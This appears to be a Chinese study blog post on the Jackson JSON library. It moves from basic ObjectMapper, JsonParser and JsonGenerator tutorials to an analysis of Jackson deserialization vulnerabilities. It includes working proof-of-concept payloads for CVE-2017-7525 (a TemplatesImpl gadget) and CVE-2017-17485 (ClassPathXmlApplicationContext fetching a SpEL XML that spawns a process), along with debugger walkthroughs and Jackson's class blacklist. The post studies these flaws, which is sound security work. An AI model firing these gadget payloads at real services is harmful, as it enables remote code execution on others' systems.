jackson 反序列化学习
jackson 介绍
Jackson
是一个用于处理 JSON
数据的开源 Java
库。Spring MVC 的默认 json 解析器便是 Jackson
。 Jackson
优点很多。 Jackson
所依赖的 jar 包较少,简单易用。与其他 Java 的 json 的框架 Gson
等相比, Jackson
解析大的 json 文件速度比较快;Jackson
运行时占用内存比较低,性能比较好;Jackson
有灵活的 API,可以很容易进行扩展和定制。
在 Java
领域,Jackson
已经成为处理 JSON
数据的事实标准库。它提供了丰富的功能,包括将 Java
对象转换为 JSON
字符串(序列化
)以及将 JSON
字符串转换为 Java
对象(反序列化
)。
Jackson
主要由三个核心包组成:
jackson-databind
:提供了通用的数据绑定功能(将Java对象与JSON数据相互转换)jackson-core
:提供了核心的低级JSON处理API(例如JsonParser和JsonGenerator)jackson-annotations
:提供了用于配置数据绑定的注解
jackson 依赖
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.3</version>
</dependency>
</dependencies>
jackson 中的常用 API
ObjectMapper
Jackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper:
- ObjectMapper可以从字符串,流或文件中解析JSON,并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。
- ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。
- Object映射器可以将JSON解析为自定义的类的对象,也可以解析置JSON树模型的对象。
之所以称为ObjectMapper是因为它将JSON映射到Java对象(反序列化),或者将Java对象映射到JSON(序列化)。
序列化:将Java
对象转换为JSON字符串
的过程。这在许多场景中非常有用,例如在将数据发送到Web客户端时,或者在将数据存储到文件或数据库时。Jackson
通过ObjectMapper
类来实现序列化。
demo:
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Main {
public String name;
public int age;
public Main(String name, int age) {
this.name = name;
this.age = age;
}
public static void main(String[] args) {
ObjectMapper objectMapper = new ObjectMapper();
Main person = new Main("gaoren", 35);
try {
String jsonString = objectMapper.writeValueAsString(person);
System.out.println(jsonString);
} catch (Exception e) {
e.printStackTrace();
}
}
}
得到结果:
反序列化:将 JSON
字符串转换回Java对象的过程。这在从 Web
客户端接收数据或从文件或数据库读取数据时非常有用。同样,Jackson
使用 ObjectMapper
类来实现反序列化。
demo:
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
public class deser {
public String name;
public int age;
public deser() {
}
public static void main(String[] args) {
ObjectMapper objectMapper = new ObjectMapper();
String jsonString = "{\"name\":\"gaoren\",\"age\":35}";
try {
deser person = objectMapper.readValue(jsonString, deser.class);
System.out.println("Name: " + person.name + ", Age: " + person.age);
} catch (Exception e) {
e.printStackTrace();
}
}
}
结果:
JsonParser
Jackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器,差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快,但使用起来也比较麻烦。
使用JsonParser需要先创建一个JsonFactory
package org.example;
import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;
public class deser {
public static void main(String[] args){
String json = "{\"name\":\"fakes0u1\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
try {
JsonParser parser = jsonFactory.createParser(json);
System.out.println(parser);
}
catch (Exception e ){
e.printStackTrace();
}
}
}
class Person1 {
private String name;
private int age;
public Person1() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
运行得到:
一旦创建了Jackson JsonParser,就可以使用它来解析JSON。 JsonParser的工作方式是将JSON分解为一系列令牌,可以一个一个地迭代令牌。
使用JsonParser的nextToken()获得一个JsonToken,然后循环打印看看所有的 jsonToken,在得到 parser 后添加下面代码
while(!parser.isClosed()){
JsonToken jsonToken = parser.nextToken();
System.out.println(jsonToken);
运行得到
然后再利用equals方法进行匹配,如果标记的字段名称是相同的就返回其值
返回值可以用 getValueAsString()
,getValueAsInt()
等方法,根据不同的值的类型
package jackson;
import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;
public class JacksonJsonParser {
public static void main(String[] args){
String json = "{\"name\":\"fakes0u1\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
Person1 person1 =new Person1();
try{
JsonParser parser = jsonFactory.createParser(json);
while(!parser.isClosed()){
JsonToken jsonToken = parser.nextToken();
if (JsonToken.FIELD_NAME.equals(jsonToken)){
String fieldName = parser.getCurrentName();
System.out.println(fieldName);
jsonToken=parser.nextToken();
if ("name".equals(fieldName)){
person1.name = parser.getValueAsString();
}
else if ("age".equals(fieldName)){
person1.age = parser.getValueAsInt();
}
}
System.out.println("person's name is "+person1.name);
System.out.println("person's age is "+person1.age);
}
}
catch (Exception e ){
e.printStackTrace();
}
}
}
class Person1 {
public String name;
public int age;
// 必须提供无参构造函数
public Person1() {
}
// Getters and Setters
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
JsonGenerator
Jackson JsonGenerator用于从Java对象(或代码从中生成JSON的任何数据结构)生成JSON。
同样的 使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGenerator
package jackson;
import com.fasterxml.jackson.core.*;
import java.io.File;
public class JacksonJsonParser {
public static void main(String[] args){
JsonFactory jsonFactory = new JsonFactory();
Person1 person1 =new Person1();
try{
JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name","fakes0u1");
jsonGenerator.writeNumberField("age",123);
jsonGenerator.writeEndObject();
jsonGenerator.close();
}
catch (Exception e ){
e.printStackTrace();
}
}
}
class Person1 {
public String name;
public int age;
// 必须提供无参构造函数
public Person1() {
}
// Getters and Setters
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
jackson 反序列化流程分析
Jackson的反序列化的过程分为两步 第一步通过构造函数生成实例 第二步是对实例进行设置属性值
调试跟进来到函数_readMapAndClose
调用了 BeanDeserializer#deserialize
方法,
继续跟进 vanillaDeserialize
函数,
跟踪 createUsingDefault
函数,
看到调用 call 方法实现了无参构造函数。返回的 bean 就是实例化后的对象。
然接下来就是进行赋值了。
跟进 deserializeAndSet
方法,
看到在 set
处进行了赋值。剩下的其实都差多的,只是类型不同赋值方法略有差别。
Jackson 反序列化漏洞
前提条件
满足以下三个条件之一存在Jackson反序列化漏洞,需要会触发json中的类解析的注解或者函数
- 调用了ObjectMapper.enableDefaultTyping()函数;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
漏洞原理
当我们使用的JacksonPolymorphicDeserialization
配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法 我们就可以在这里做文章
以要进行反序列化的类的属性是否为Object类分为两种:
一、属性中没有Object类时
我们不能对属性进行操作。我们只能让他的构造函数或者是setter方法中存在危险函数如下
public void setName(String name) {
this.name = name;
try{
Runtime.getRuntime().exec("calc");
}
catch (Exception e ){
e.printStackTrace();
}
}
进行反序列弹出计算机
二、属性中有Object类时
当属性类型为Object时,因为Object类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用。
后面出现的Jackson反序列化的CVE漏洞、黑名单绕过等都是基于这个原理寻找各种符合条件的利用链而已。
这里我们假设目标服务端环境中存在其一个恶意类Evil,其setter方法存在任意代码执行漏洞,存在于 org.example包中:
package org.example;
public class Evil {
public String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec("calc");
}
catch (Exception e){
e.printStackTrace();
}
}
}
Person类,将sex属性改为object属性:
public class Person {
public int age;
public String name;
// @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object object;
public Person() {
System.out.println("Person构造函数");
}
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}
test.java
public class test {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{\"age\":6,\"name\":\"mi1k7ea\",\"object\":[\"org.example.Evil\",{\"cmd\":\"calc\"}]}";
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
运行同理弹出计算机
CVE-2017-7525 TemplatesImpl利用链
影响版本
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
JDK使用1.7版本的,记得恶意类也得用 1.7 版本的编译。
复现利用
依赖:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
poc.java
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args)throws IOException {
String exp = readClassStr("D:/poc.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'mi1k7ea',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(jsonInput, Person.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'","\"");
}
public static String readClassStr(String cls){
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encode(byteArrayOutputStream.toByteArray());
}
}
class Person {
public Object object;
}
序列化的内容需要自己构造,直接序列化只会得到有 setter 和 getter 方法的属性
运行弹出计算机
调试分析
前面就和上面的反序列化流程一样通过 BeanDeserializer.vanillaDeserialize()
来实例化一个 bean 对象,也就是上面的 Person 对象,然后利用 deserializeAndSet()
函数来解析属性值并设置到该Bean 中。在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值,
但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法:
再往下就是反射调用到了getOutputProperties()。然后剩下的就是 java 的动态类加载了,利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数。
高版本JDK不能触发的原因——_tfactory
在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory
属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。Jackson不支持在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性,所以也就没法进行反序列化了。
至于为什么jackson-databind-2.7.9.1 或者更高的版本不能触发是因为,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:
static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599]
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}
实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是 Person 类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。
CVE-2017-17485 ClassPathXmlApplicationContext利用链
影响版本
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
复现利用
jackson 依赖和上面还是一样的,spring 依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
poc.java
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class poc {
public static void main(String[] args) {
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
spel.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
运行弹出计算机
调试分析
利用链是基于org.springframework.context.support.ClassPathXmlApplicationContext
类,利用的原理就是SpEL表达式注入漏洞,
一直跟进到 TypeWrappedDeserializer#deserialize
方法,调用了UntypedObjectDeserializer.deserializeWithType()
跟进该函数,发现回调用 AsArrayTypeDeserializer.deserializeTypedFromAny()
函数,该函数可以解析我们数组形式的 JSON 内容。
一路调用到了 BeanDeserializerBase.deserializeFromString 函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:
跟进 createFromString() 方法,
看到value值为 http://127.0.0.1/spel.xml
,然后调用 _fromStringCreator.call1(value)
来解析配置文件。跟进
继续向下会调用到ClassPathXmlApplicationContext类的构造函数
然后调用 refresh 方法,
注意:前面调用newInstance()是新建我们的利用类org.springframework.context.support.ClassPathXmlApplicationContext的实例,但是我们看到并没有调用ClassPathXmlApplicationContext类相关的setter方法,这是因为该类本身就没有setter方法,但是拥有构造函数,因此Jackson反序列化的时候会自动调用ClassPathXmlApplicationContext类的构造函数。而这个点就是和之前的利用链的不同之处,该类的漏洞点出在自己的构造函数而非在setter方法中。
下面我们需要继续调试看ClassPathXmlApplicationContext类的构造函数中是哪里存在有漏洞。
跟进refresh()函数,进行一系列refresh之前的准备操作后,发现调用了 invokeBeanFactoryPostProcessors()
函数,顾名思义,就是调用上下文中注册为beans的工厂处理器:
一直跟进,到达 doGetBeanNamesForType() 函数中,调用isFactoryBean()判断当前beanName是否为FactoryBean
在isFactoryBean()函数中,调用predictBeanType()函数获取Bean类型,
继续跟进,predictBeanType()函数中通过调用determineTargetType()函数来预测Bean类型,
determineTargetType()函数中通过调用 resolveBeanClass() 函数来确定目标类型:
跟进调用doResolveBeanClass()用来解析Bean类,其中调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容,
跟进该函数,
看到已经到了SpEL表达式解析器,跟进后看到,再最下面执行了 SpEl 表达式执行。
总结就是通过反序列化调用到了 org.springframework.context.support.ClassPathXmlApplicationContext
的构造方法,构造方法中的 refresh 中又层层调用到了 SeEL 的表达式执行。
参考:Jackson系列一——反序列化漏洞基本原理
参考:Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)
参考:Jackson系列三——CVE-2017-17485(基于ClassPathXmlApplicationContext利用链)
参考:https://xz.aliyun.com/t/12966